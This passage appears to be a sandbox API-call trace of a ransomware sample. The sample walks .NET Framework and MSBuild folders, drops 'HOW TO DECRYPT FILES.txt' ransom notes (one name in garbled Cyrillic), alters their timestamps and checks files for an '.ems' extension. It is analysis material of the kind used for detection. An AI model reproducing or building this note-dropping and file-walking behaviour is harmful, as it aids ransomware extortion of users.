ÔÀÉËÛ.txt", lpString2="Microsoft.Vsa.tlb") returned -1 [0135.679] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Vsa.tlb") returned -1 [0135.679] lstrcmpiA (lpString1="", lpString2="Microsoft.Vsa.tlb") returned -1 [0135.679] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Vsa.dll") returned="Microsoft.Vsa.dll" [0135.679] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.679] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.679] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.679] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.679] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.Vsa.tlb" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Vsa.tlb") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Vsa.tlb" [0135.680] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb9ae372, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfb9ae372, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa4209fbc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Vsa.Vb.CodeDOMProcessor.dll", cAlternateFileName="")) returned 1 [0135.680] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.680] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Vsa.Vb.CodeDOMProcessor.dll") returned -1 [0135.680] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Vsa.Vb.CodeDOMProcessor.dll") returned -1 [0135.680] lstrcmpiA (lpString1="", lpString2="Microsoft.Vsa.Vb.CodeDOMProcessor.dll") returned -1 [0135.680] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Vsa.tlb") returned="Microsoft.Vsa.tlb" [0135.680] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.680] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.680] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.680] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.680] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.Vsa.Vb.CodeDOMProcessor.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll" [0135.681] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb9d44d1, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfb9d44d1, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa4529c9c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Vsa.Vb.CodeDOMProcessor.tlb", cAlternateFileName="")) returned 1 [0135.681] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.681] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Vsa.Vb.CodeDOMProcessor.tlb") returned -1 [0135.681] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Vsa.Vb.CodeDOMProcessor.tlb") returned -1 [0135.681] lstrcmpiA (lpString1="", lpString2="Microsoft.Vsa.Vb.CodeDOMProcessor.tlb") returned -1 [0135.681] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll") returned="Microsoft.Vsa.Vb.CodeDOMProcessor.dll" [0135.681] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.681] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.681] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.681] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.681] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.Vsa.Vb.CodeDOMProcessor.tlb" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Vsa.Vb.CodeDOMProcessor.tlb") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Vsa.Vb.CodeDOMProcessor.tlb" [0135.682] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abd492, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x8abd492, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7c73341c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xb2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WinFX.targets", cAlternateFileName="")) returned 1 [0135.682] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.682] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.WinFX.targets") returned -1 [0135.682] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.WinFX.targets") returned -1 [0135.682] lstrcmpiA (lpString1="", lpString2="Microsoft.WinFX.targets") returned -1 [0135.682] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Vsa.Vb.CodeDOMProcessor.tlb") returned="Microsoft.Vsa.Vb.CodeDOMProcessor.tlb" [0135.682] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.682] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.682] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.682] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.682] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.WinFX.targets" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.WinFX.targets") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.WinFX.targets" [0135.683] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfba2078f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfba2078f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa4529c9c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft_VsaVb.dll", cAlternateFileName="")) returned 1 [0135.683] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.683] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft_VsaVb.dll") returned -1 [0135.683] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft_VsaVb.dll") returned -1 [0135.683] lstrcmpiA (lpString1="", lpString2="Microsoft_VsaVb.dll") returned -1 [0135.683] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.WinFX.targets") returned="Microsoft.WinFX.targets" [0135.683] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.683] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.683] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.683] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.683] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft_VsaVb.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft_VsaVb.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft_VsaVb.dll" [0135.684] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c15c31, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90c15c31, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90c3bd91, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17350, dwReserved0=0x0, dwReserved1=0x0, cFileName="MmcAspExt.dll", cAlternateFileName="")) returned 1 [0135.684] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.684] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MmcAspExt.dll") returned -1 [0135.684] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MmcAspExt.dll") returned -1 [0135.684] lstrcmpiA (lpString1="", lpString2="MmcAspExt.dll") returned -1 [0135.684] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft_VsaVb.dll") returned="Microsoft_VsaVb.dll" [0135.684] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.684] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.684] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.684] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.684] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="MmcAspExt.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MmcAspExt.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MmcAspExt.dll" [0135.685] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7d7bb8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec02190, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfec02190, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0135.685] lstrcmpA (lpString1=".", lpString2="MSBuild") returned -1 [0135.685] lstrcmpA (lpString1="..", lpString2="MSBuild") returned -1 [0135.685] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MmcAspExt.dll") returned="MmcAspExt.dll" [0135.685] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="MSBuild" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild" [0135.685] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7d7bb8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec02190, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfec02190, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501574, cFileName=".", cAlternateFileName="")) returned 0x502518 [0135.686] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0135.686] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7d7bb8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec02190, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfec02190, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0135.686] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0135.686] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0135.686] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda695dd0, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xda695dd0, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa478b29c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x185a8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Commontypes.xsd", cAlternateFileName="MICROS~1.XSD")) returned 1 [0135.686] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0135.686] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Commontypes.xsd") returned -1 [0135.686] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Commontypes.xsd") returned -1 [0135.686] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Commontypes.xsd") returned -1 [0135.686] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\*.*") returned="*.*" [0135.687] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\" [0135.687] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\") returned="" [0135.687] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\HOW TO DECRYPT FILES.txt" [0135.687] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild\\how to decrypt files.txt")) returned 0xffffffff [0135.687] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0135.694] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0135.694] CloseHandle (hObject=0x90) returned 1 [0135.694] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\", lpString2="Microsoft.Build.Commontypes.xsd" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\Microsoft.Build.Commontypes.xsd") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\Microsoft.Build.Commontypes.xsd" [0135.694] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\Microsoft.Build.Commontypes.xsd", pszSpec="*.ems") returned 0 [0135.695] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf3a5ffe, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf3a5ffe, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa486fadc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5e6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Core.xsd", cAlternateFileName="MICROS~2.XSD")) returned 1 [0135.695] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0135.695] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Core.xsd") returned -1 [0135.695] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Core.xsd") returned -1 [0135.695] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Core.xsd") returned -1 [0135.695] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\Microsoft.Build.Commontypes.xsd") returned="Microsoft.Build.Commontypes.xsd" [0135.695] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\" [0135.695] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\") returned="" [0135.695] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\HOW TO DECRYPT FILES.txt" [0135.695] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild\\how to decrypt files.txt")) returned 0x20 [0135.695] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\", lpString2="Microsoft.Build.Core.xsd" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\Microsoft.Build.Core.xsd") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\Microsoft.Build.Core.xsd" [0135.695] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild\\Microsoft.Build.Core.xsd", pszSpec="*.ems") returned 0 [0135.696] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf3a5ffe, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf3a5ffe, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa486fadc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5e6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Core.xsd", cAlternateFileName="MICROS~2.XSD")) returned 0 [0135.696] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0135.696] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea76533, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ea76533, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ea9c693, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="MSBuild.exe", cAlternateFileName="")) returned 1 [0135.696] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.696] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSBuild.exe") returned -1 [0135.696] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSBuild.exe") returned -1 [0135.696] lstrcmpiA (lpString1="", lpString2="MSBuild.exe") returned -1 [0135.696] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\*.*") returned="*.*" [0135.696] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.696] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.696] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") 